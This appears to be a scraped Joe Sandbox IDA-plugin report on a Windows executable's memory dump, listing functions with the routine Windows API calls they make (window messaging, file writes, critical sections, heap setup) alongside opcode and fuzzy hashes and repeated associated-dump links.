Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$MessageSend$Text$EnabledLengthVisiblewsprintf
String ID:
API String ID: 1914814478-0
Opcode ID: 99a84f84c104c7b83570eb0c19fb71c78cd3441ad89f019082d53c2996cf92c2
Instruction ID: fedcf000d5d1d1434110b21820dbb9ce237f28e75de3b2d0dfc31468972a04a5
Opcode Fuzzy Hash: 99a84f84c104c7b83570eb0c19fb71c78cd3441ad89f019082d53c2996cf92c2
Instruction Fuzzy Hash: EA5186756047019FC724DF14C981B5BB7F1FB88710F108A2EE49A87780CB79A801CB96

Function 0048B9D0 Relevance: 6.1, APIs: 4, Instructions: 135fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,00000000,00000000,00000001,?,?), ref: 0048BA97

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: e60ab17d4eed0e93ac92ae81c5c3c4dad4f9b8907c12df4a3a2f9d59e0854bd5
Instruction ID: 50dfaaef641eff29ce36418240c4e514e9e9f6932505f35d692b7b7a20bab077
Opcode Fuzzy Hash: e60ab17d4eed0e93ac92ae81c5c3c4dad4f9b8907c12df4a3a2f9d59e0854bd5
Instruction Fuzzy Hash: E551B131900248EFCB15EF68C984B9E7BB4FF41340F1089AAE915DB261D734EA40CB99

Function 00437760 Relevance: 6.1, APIs: 4, Instructions: 108windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 004377D4
SendMessageA.USER32(?,000000B1,?,000000FF), ref: 0043782D
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0043783C
SendMessageA.USER32(?,000000C2,00000000,?), ref: 0043786A

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$Window
String ID:
API String ID: 2326795674-0
Opcode ID: 0859e1400648d10e364f8fc9f8cca885aaa46488b7c807c83505593e87925c02
Instruction ID: d3e798c1937d3b56c1102694fa41768b9d784a111bb589ceca0d1d0e476afb89
Opcode Fuzzy Hash: 0859e1400648d10e364f8fc9f8cca885aaa46488b7c807c83505593e87925c02
Instruction Fuzzy Hash: 7241E3B66487419FE324DB19C844B5BFBE4EB89720F048A2EE4A5873D1C378D405CBA6

Function 0048E66C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 00488384: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883C1
Part of subcall function 00488384: EnterCriticalSection.KERNEL32(?,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883DC

InitializeCriticalSection.KERNEL32(00000068,00000100,00000080,?,00000000,?,?,0048EACA,?,00000000,00000000), ref: 0048E6BF
EnterCriticalSection.KERNEL32(00000068,00000100,00000080,?,00000000,?,?,0048EACA,?,00000000,00000000), ref: 0048E6D4
LeaveCriticalSection.KERNEL32(00000068,?,00000000,?,?,0048EACA,?,00000000,00000000), ref: 0048E6E1

Strings

, xrefs: 0048E715

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CriticalSection$EnterInitialize$Leave
String ID:
API String ID: 713024617-3916222277
Opcode ID: 3414b920bbe51cf26cca0e7d003d8d11ca8e8b97a236f9ae01b3929a8968311e
Instruction ID: c0fcbc8b898c7fa6fb1bfeb86ae1932bbe7918e74fef67aa51b78bae9c2001be
Opcode Fuzzy Hash: 3414b920bbe51cf26cca0e7d003d8d11ca8e8b97a236f9ae01b3929a8968311e
Instruction Fuzzy Hash: EA3148725013019FD324AF66DC84B5E77D0EB51328F248E2EFA62872D1D778E8488719

Function 0044B930 Relevance: 6.1, APIs: 4, Instructions: 100windowCOMMON

Download Yara Rule

APIs

CreateSolidBrush.GDI32(?), ref: 0044B9BA
SendMessageA.USER32(?,00000030,00000000,00000000), ref: 0044B9FE
SendMessageA.USER32(?,000000B1,?,000000FF), ref: 0044BA34
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0044BA43

Part of subcall function 0049605D: SetWindowTextA.USER32(?,j[B), ref: 0049606B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$BrushCreateSolidTextWindow
String ID:
API String ID: 3501373727-0
Opcode ID: 9538862b6e653cc79754e37645463865c2ad9c634a32766cdf1a74481a46a38f
Instruction ID: 74362f281a27391331648bc55cae3448f9106f787ffb9d307016c0b6d8e5645c
Opcode Fuzzy Hash: 9538862b6e653cc79754e37645463865c2ad9c634a32766cdf1a74481a46a38f
Instruction Fuzzy Hash: AD317AB06047009FD724DF19C841B2AFBE4FB89B14F008A2EF59597791CBB9E800CB99

Function 00473F10 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00473FB8

Strings

tcL, xrefs: 00473F90
,cL8, xrefs: 00473F88, 00473FA0, 00473FAD
0%x, xrefs: 00473FA1

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: wsprintf
String ID: ,cL8$0%x$tcL
API String ID: 2111968516-3090751108
Opcode ID: 27522b25c0b633879184514d7d1a11f8323c624aed63203bd3d84271e292f8a1
Instruction ID: 48ea5b2ddb86db0b38bcf0e8ea6b6830aa08f5fd316303fcc29d65762a41ad24
Opcode Fuzzy Hash: 27522b25c0b633879184514d7d1a11f8323c624aed63203bd3d84271e292f8a1
Instruction Fuzzy Hash: B62147716042406AD318CA20C841FBF7BE9EBC4355F548A2FF586C72C1CF6CDA09939A

Function 00414D80 Relevance: 6.1, APIs: 4, Instructions: 84windowCOMMON

Download Yara Rule

APIs

GetMessagePos.USER32 ref: 00414E18
ScreenToClient.USER32(?,?), ref: 00414E3A
ChildWindowFromPointEx.USER32(?,?,?,00000005), ref: 00414E50
GetFocus.USER32 ref: 00414E5B

Part of subcall function 00496198: SetFocus.USER32(?,0041A913), ref: 004961A2

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Focus$ChildClientFromMessagePointScreenWindow
String ID:
API String ID: 3117237277-0
Opcode ID: eade77a837c2b665a4e644b02ae9d624f951d539b182db19bd55a3a5a27de994
Instruction ID: a44f8e50e3b04a03f392ab92b07247e66481967724752a85ca522e885e00afe3
Opcode Fuzzy Hash: eade77a837c2b665a4e644b02ae9d624f951d539b182db19bd55a3a5a27de994
Instruction Fuzzy Hash: B821D0303003126BD6249B64CC41FABB7A9AFC4718F04852EF94497391DB38E956C79A

Function 004807DA Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 00480800

Part of subcall function 00485CC2: HeapCreate.KERNEL32(00000000,00001000,00000000,00480838,00000001), ref: 00485CD3
Part of subcall function 00485CC2: HeapDestroy.KERNEL32 ref: 00485D12

GetCommandLineA.KERNEL32 ref: 00480860
GetStartupInfoA.KERNEL32(?), ref: 0048088B
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004808AE

Part of subcall function 00480907: ExitProcess.KERNEL32 ref: 00480924

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: cf2ba744d1dd4e98f9b14ffeb3e5831654900db454467767441d4f8aa6aff67b
Instruction ID: f80171b95b10e9a3d4d32c6e49136089f9984a82cb046ccf5a6670c675ab769e
Opcode Fuzzy Hash: cf2ba744d1dd4e98f9b14ffeb3e5831654900db454467767441d4f8aa6aff67b
Instruction Fuzzy Hash: E62180B1D40B05AFDB08BFA5DC46B6D7BB9EF14714F10492FF9019A2A1DB388840CB59

Function 00415690 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

StartPage.GDI32(?), ref: 004156D5
EndPage.GDI32(?), ref: 004156FB

Part of subcall function 00423650: wsprintfA.USER32 ref: 0042365F

Part of subcall function 0049605D: SetWindowTextA.USER32(?,j[B), ref: 0049606B

UpdateWindow.USER32(?), ref: 0041574A
EndPage.GDI32(?), ref: 00415762

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Page$Window$StartTextUpdatewsprintf
String ID:
API String ID: 104827578-0
Opcode ID: 6bc070ad13e6709891f307b569f2d37e7e6b638414909d009badd901496cb52a
Instruction ID: b9b9185012a4d3298086b475c8e1b09d643a2b8117bfc937b2fa0a11c172100c
Opcode Fuzzy Hash: 6bc070ad13e6709891f307b569f2d37e7e6b638414909d009badd901496cb52a
Instruction Fuzzy Hash: DC215075601F00DBC3249F3AD889BDBB7E9EFC5745F10882EE5AFC6250E634A4858B58

Function 0040D6D0 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetParent.USER32(000000D0), ref: 0040D6FC
GetParent.USER32(?), ref: 0040D711
SetParent.USER32(?,?), ref: 0040D72F
GetWindowRect.USER32(?,?), ref: 0040D744

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Parent$RectWindow
String ID:
API String ID: 2276825053-0
Opcode ID: c1f9e439fee132df1401d656b5e1cc1c1a71abf4fddfa74c5056d8734cf67c54
Instruction ID: cfd064f4395edc8ed557cd73e1f30baae5a39cc34b3cc2f0ce87438e00c1527f
Opcode Fuzzy Hash: c1f9e439fee132df1401d656b5e1cc1c1a71abf4fddfa74c5056d8734cf67c54
Instruction Fuzzy Hash: 451160B96003056FD724DFB5C884D7B77EDEB85240F04492EB85693341EA38ED0987B4

Function 0048DF5A Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 0048DF89
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000), ref: 0048DF9C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 0048DFE8
CompareStringW.KERNEL32(0045B1E6,00000000,00000000,00000000,?,00000000,?,00000000), ref: 0048E000

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ByteCharMultiWide$CompareString
String ID:
API String ID: 376665442-0
Opcode ID: ce30c5981560e6dc26a1fe5ed32b061dacbb52efe624ccbda2e1252ba85b7a4d
Instruction ID: c723c3da6c59c0d690b3972ecf2fe63b9440e19330c4a6ee48561110002b61bd
Opcode Fuzzy Hash: ce30c5981560e6dc26a1fe5ed32b061dacbb52efe624ccbda2e1252ba85b7a4d
Instruction Fuzzy Hash: 2C216D32800219EFDF21AF95CC459DEBFB5FF49354F10052AFA1172260C3369961EBA4

Function 0040AC30 Relevance: 6.1, APIs: 4, Instructions: 63windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000030,?,00000001), ref: 0040AC8D
SendMessageA.USER32(?,00000030,?,00000001), ref: 0040ACA6
GetStockObject.GDI32(00000011), ref: 0040ACB1
SendMessageA.USER32(?,00000030,00000000,00000001), ref: 0040ACC4

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$ObjectStock
String ID:
API String ID: 1309931672-0
Opcode ID: 126a4e613eadbaef2130f7fad82da8ed4c099ad8e29f0674db621cb433d3d28a
Instruction ID: d2fdb64b1d4e403b86c3f88c5c67e8afd963986edc3edb2938380fad330f91e9
Opcode Fuzzy Hash: 126a4e613eadbaef2130f7fad82da8ed4c099ad8e29f0674db621cb433d3d28a
Instruction Fuzzy Hash: D5114C36305310AFD624DF55E844F9BB7A9ABC8B15F05482EB605AB290C774EC428BA6

Function 004175C0 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 004175CD

Part of subcall function 00417400: IsChild.USER32(?,?), ref: 0041747D
Part of subcall function 00417400: GetParent.USER32(?), ref: 00417497

SendMessageA.USER32(00000000,000000F0,00000000,00000000), ref: 00417626
SendMessageA.USER32(00000000,000000F1,00000000,00000000), ref: 00417636
GetWindow.USER32(00000000,00000002), ref: 0041763B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
